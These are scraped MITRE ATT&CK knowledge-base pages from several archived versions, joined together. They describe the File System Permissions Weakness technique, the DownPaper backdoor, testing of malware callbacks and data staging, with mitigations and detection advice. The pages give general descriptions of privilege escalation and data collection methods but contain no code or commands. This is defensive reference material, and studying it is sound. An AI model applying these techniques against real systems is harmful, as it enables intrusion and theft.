SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024. - Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021. - Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021. - Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023. - Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024. - Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018. - Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018. - Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021. - Symantec Threat Hunter Team. (2023, October 19). Crambus: New Campaign Targets Middle Eastern Government. Retrieved November 27, 2024. - FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. - Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022. - Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018. - Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020. - Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020. - Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019. - Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019. - Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022. - Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018. - Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved November 17, 2024. - Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018. - Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021. - Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020. - Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict
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versions_v17_techniques_T1036_005.txt
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Currently viewing ATT&CK v5.2 which was live between July 31, 2019 and October 23, 2019. Learn more about the versioning system or see the live site. Register to stream ATT&CKcon 2.0 October 29- ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr Rundll Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelgänging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr Rootkit Rundll Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation - Home - Techniques - Enterprise - File System Permissions Weakness File System Permissions Weakness Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. ServicesManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable. Executable InstallersAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. [1] [2] ID: T Tactic: Persistence, Privilege Escalation Platform: Windows Permissions Required: Administrator, User Effective Permissions: SYSTEM, User, Administrator Data Sources: File monitoring, Services, Process command-line parameters CAPEC ID: CAPEC- Contributors: Stefan Kanthak; Travis Smith, Tripwire Version: 1. Procedure Examples Name Description BlackEnergy One variant of BlackEnergy locates existing driver services that have been disabled and drops its driver component into one of those service's paths, replacing the legitimate executable. The malware then sets the hijacked service to start automatically to establish persistence. [4] Mitigations Mitigation Description Audit Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. [3] User Account Control Turn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]to automatically deny elevation requests, add: "ConsentPromptBehaviorUser"=dword:00000000. Consider enabling installer detection for all users by adding: "EnableInstallerDetection"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: "EnableInstallerDetection"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged. [2] User Account Management Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Deny execution from user directories such as file download directories and temp directories where able. Detection Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries
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versions_v5_techniques_T1044.txt
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Currently viewing ATT&CK v8.2 which was live between October 27, 2020 and April 28, 2021. Learn more about the versioning system or see the live site. SOFTWARE Overview 3PARA RAT 4H RAT ABK adbupd AdFind Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Anchor Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Anubis Aria-body Arp ASPXSpy Astaroth at Attor AuditCred AutoIt backdoor Avenger Azorult BabyShark BackConfig Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBK BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BloodHound Bonadan BONDUPDATER BOOSTWRITE BOOTRASH BrainTest Brave Prince Bread Briba BS BUBBLEWRAP build_downer Bundlore Cachedump Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carberp Carbon Cardinal RAT CARROTBALL CARROTBAT Catchamas CCBkdr Cerberus certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit CookieMiner CORALDECK CORESHELL Corona Updates CosmicDuke CozyCar CrackMapExec Crimson CrossRAT Cryptoistic Dacls DarkComet Daserf DDKONG DealersChoice DEFENSOR ID Dendroid Denis Derusbi Desert Scorpion Dipsind DOGCALL Dok down_new Downdelph DownPaper DressCode Dridex DroidJack Drovorub dsquery DualToy Duqu DustySky Dvmap Dyre Ebury Elise ELMER Emissary Emotet Empire Epic esentutl eSurv EventBot EvilBunny EvilGrab Exaramel for Linux Exaramel for Windows Exodus Expand FakeM FakeSpy FALLCHILL FatDuke Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FrameworkPOS FruitFly FTP Fysbis Gazer GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon GoldenSpy GolfSpy Gooligan Goopy GravityRAT GreyEnergy GRIFFON gsecdump Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS Hancitor HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro IcedID ifconfig iKitten Imminent Monitor Impacket InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy KARAE Kasidet Kazuar Kessel KeyBoy Keydnap KEYMARBLE KeyRaider Kivars Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax Lokibot LoudMiner LOWBALL Lslsass Lurid Machete MacSpy MailSniper Mandrake Marcher Matroyshka MazarBOT Maze MCMD MechaFlounder meek MESSAGETAP Metamorfo Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Ngrok Nidiran njRAT Nltest NOKKI NotCompatible NotPetya OBAD OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL Pillowmint PinchDuke Ping PipeMon Pisloader PJApps PLAINTEE PLEAD PlugX pngdowner PoetRAT PoisonIvy PolyglotDuke Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump QUADAGENT QuasarRAT Ragnar Locker Raindrop Ramsay RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDAT RDFSNIFFER Reaver RedDrop RedLeaves Reg RegDuke Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT REvil RGDoor Rifdoor Riltok RIPTIDE Rising Sun RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT Ryuk S-Type Sakula SamSam schtasks SDBot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED SimBad Skeleton Key Skidmap Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SoreFang SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx StrongPity Sunburst Sunspot Sykipot SynAck SYNful Knock Sys SYSCON Systeminfo T Taidoor TajMahal Tangelo Tasklist TDTESS Teardrop TEXTMATE TINYTYPHON TinyZBot Tor Triada TrickBot TrickMo Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak Vasport VBShower VERMIN ViceLeaker ViperRAT Volgmer WannaCry WEBC WellMail WellMess Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker WolfRAT X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader for Android XLoader for iOS XTunnel YAHOYAH YiSpecter yty Zebrocy Zen ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell SOFTWARE Overview 1- 3PARA RAT 4H RAT A-B ABK adbupd AdFind Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Anchor Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Anubis Aria-body Arp ASPXSpy Astaroth at Attor AuditCred AutoIt backdoor Avenger Azorult BabyShark BackConfig Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBK BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BloodHound Bonadan BONDUPDATER BOOSTWRITE BOOTRASH BrainTest Brave Prince Bread Briba BS BUBBLEWRAP build_downer Bundlore C-D Cachedump Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carberp Carbon Cardinal RAT CARROTBALL CARROTBAT Catchamas CCBkdr Cerberus certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit CookieMiner CORALDECK CORESHELL Corona Updates CosmicDuke CozyCar CrackMapExec Crimson CrossRAT Cryptoistic Dacls DarkComet Daserf DDKONG DealersChoice DEFENSOR ID Dendroid Denis Derusbi Desert Scorpion Dipsind DOGCALL Dok down_new Downdelph DownPaper DressCode Dridex DroidJack Drovorub dsquery DualToy Duqu DustySky Dvmap Dyre E-F Ebury Elise ELMER Emissary Emotet Empire Epic esentutl eSurv EventBot EvilBunny EvilGrab Exaramel for Linux Exaramel for Windows Exodus Expand FakeM FakeSpy FALLCHILL FatDuke Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FrameworkPOS FruitFly FTP Fysbis G-H Gazer GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon GoldenSpy GolfSpy Gooligan Goopy GravityRAT GreyEnergy GRIFFON gsecdump Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS Hancitor HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro I-J IcedID ifconfig iKitten Imminent Monitor Impacket InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy K-L KARAE Kasidet Kazuar Kessel KeyBoy Keydnap KEYMARBLE KeyRaider Kivars Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax Lokibot LoudMiner LOWBALL Lslsass Lurid M-N Machete MacSpy MailSniper Mandrake Marcher Matroyshka MazarBOT Maze MCMD MechaFlounder meek MESSAGETAP Metamorfo Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Ngrok Nidiran njRAT Nltest NOKKI NotCompatible NotPetya O-P OBAD OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL Pillowmint PinchDuke Ping PipeMon Pisloader PJApps PLAINTEE PLEAD PlugX pngdowner PoetRAT PoisonIvy PolyglotDuke Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Q-R QUADAGENT QuasarRAT Ragnar Locker Raindrop Ramsay RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDAT RDFSNIFFER Reaver RedDrop RedLeaves Reg RegDuke Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT REvil RGDoor Rifdoor Riltok RIPTIDE Rising Sun RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT Ryuk S-T S-Type Sakula SamSam schtasks SDBot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED SimBad Skeleton Key Skidmap Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SoreFang SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx StrongPity Sunburst Sunspot Sykipot SynAck SYNful Knock Sys SYSCON Systeminfo T Taidoor TajMahal Tangelo Tasklist TDTESS Teardrop TEXTMATE TINYTYPHON TinyZBot Tor Triada TrickBot TrickMo Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie TURNEDUP Twitoor TYPEFRAME U-V UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak Vasport VBShower VERMIN ViceLeaker ViperRAT Volgmer W-X WannaCry WEBC WellMail WellMess Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker WolfRAT X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader for Android XLoader for iOS XTunnel Y-Z YAHOYAH YiSpecter yty Zebrocy Zen ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell - Home - Software - DownPaper DownPaper DownPaper is a backdoor Trojan; its main functionality is to download and run second stage malware. [1] ID: S Type: MALWARE Platforms: Windows Version: 1. Created: 16 January Last Modified: 30 March Version Permalink Live Version ATT&CK® Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use Enterprise T . Application Layer Protocol: Web Protocols DownPaper communicates to its C2 server over HTTP.[1] Enterprise T . Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder DownPaper uses PowerShell to add a Registry Run key in order to establish persistence.[1] Enterprise T . Command and Scripting Interpreter: PowerShell DownPaper uses PowerShell for execution.[1] . Command and Scripting Interpreter: Windows Command Shell DownPaper uses the command line.[1] Enterprise T Query Registry DownPaper searches and reads the value of the Windows Update Registry Run key.[1] Enterprise T System Information Discovery DownPaper collects the victim host name and serial number, and then sends the information to the C2 server.[1] Enterprise T System Owner/User Discovery DownPaper collects the victim username and sends it to the C2 server.[1] Groups That Use This Software ID Name References G Magic Hound [1] G Charming Kitten [1] References - ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017. × load more results
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versions_v8_software_S0186.txt
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Registry Remote System Discovery Security Software Discovery Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Access Token Application Deployment Software Component Object Model and Distributed COM Exploitation of Remote Services Internal Spearphishing Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Web Session Cookie Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Cloud Storage Object Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Transfer Data to Cloud Account Impact Account Access Removal Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation System Shutdown/Reboot Transmitted Data Manipulation Mobile Initial Access Deliver Malicious App via Authorized App Store Deliver Malicious App via Other Means Drive-by Compromise Exploit via Charging Station or PC Exploit via Radio Interfaces Install Insecure or Malicious Configuration Lockscreen Bypass Masquerade as Legitimate Application Supply Chain Compromise Persistence Abuse Device Administrator Access to Prevent Removal App Auto-Start at Device Boot Modify Cached Executable Code Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Privilege Escalation Exploit OS Vulnerability Exploit TEE Vulnerability Defense Evasion Abuse Accessibility Features Application Discovery Device Lockout Disguise Root/Jailbreak Indicators Download New Code at Runtime Evade Analysis Environment Input Injection Install Insecure or Malicious Configuration Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Obfuscated Files or Information Suppress Application Icon Credential Access Abuse Accessibility Features Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Android Intent Hijacking Capture Clipboard Data Capture SMS Messages Exploit TEE Vulnerability Input Capture Input Prompt Network Traffic Capture or Redirection URL Scheme Hijacking Discovery Application Discovery Evade Analysis Environment File and Directory Discovery Location Tracking Network Service Scanning Process Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery Lateral Movement Attack PC via USB Connection Exploit Enterprise Resources Impact Abuse Accessibility Features Clipboard Modification Data Encrypted for Impact Delete Device Data Device Lockout Generate Fraudulent Advertising Revenue Input Injection Manipulate App Store Rankings or Ratings Modify System Partition Premium SMS Toll Fraud Collection Abuse Accessibility Features Access Calendar Entries Access Call Log Access Contact List Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Capture Audio Capture Camera Capture Clipboard Data Capture SMS Messages Data from Local System Input Capture Location Tracking Network Information Discovery Network Traffic Capture or Redirection Screen Capture Exfiltration Alternate Network Mediums Commonly Used Port Data Encrypted Standard Application Layer Protocol Command and Control Alternate Network Mediums Commonly Used Port Domain Generation Algorithms Standard Application Layer Protocol Standard Cryptographic Protocol Uncommonly Used Port Web Service Network Effects Downgrade to Insecure Protocols Eavesdrop on Insecure Network Communication Exploit SS7 to Redirect Phone Calls/SMS Exploit SS7 to Track Device Location Jamming or Denial of Service Manipulate Device Communication Rogue Cellular Base Station Rogue Wi-Fi Access Points SIM Card Swap Remote Service Effects Obtain Device Cloud Backups Remotely Track Device Without Authorization Remotely Wipe Data Without Authorization - Home - Techniques - PRE-ATT&CK - Test callback functionality Test callback functionality Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. [1] ID: T Tactic: Test Capabilities Version: 1. Created: 14 December Last Modified: 17 October version permalink Live Version Detection Detectable by Common Defenses (Yes/No/Partial): No Explanation: Adversary controls the test and defender likely has no visibility. Difficulty for the Adversary Easy for the Adversary (Yes/No): Yes Explanation: Adversary controls or acquires all pieces of infrastructure and can test outside of defender's visibility. References - Tony Lee. (2012, December 11). Testing Your Defenses - Beaconing. Retrieved March 9, 2017. × load more results
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versions_v6_techniques_T1356.txt
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used to gather information. T Data Staged Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location. . Local Data Staging Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location. . Remote Data Staging Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location. T Email Collection Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses. Adversaries can collect or forward email from mail servers or clients. . Local Email Collection Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files. . Remote Email Collection Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as MailSniper can be used to automate searches for specific keywords. . Email 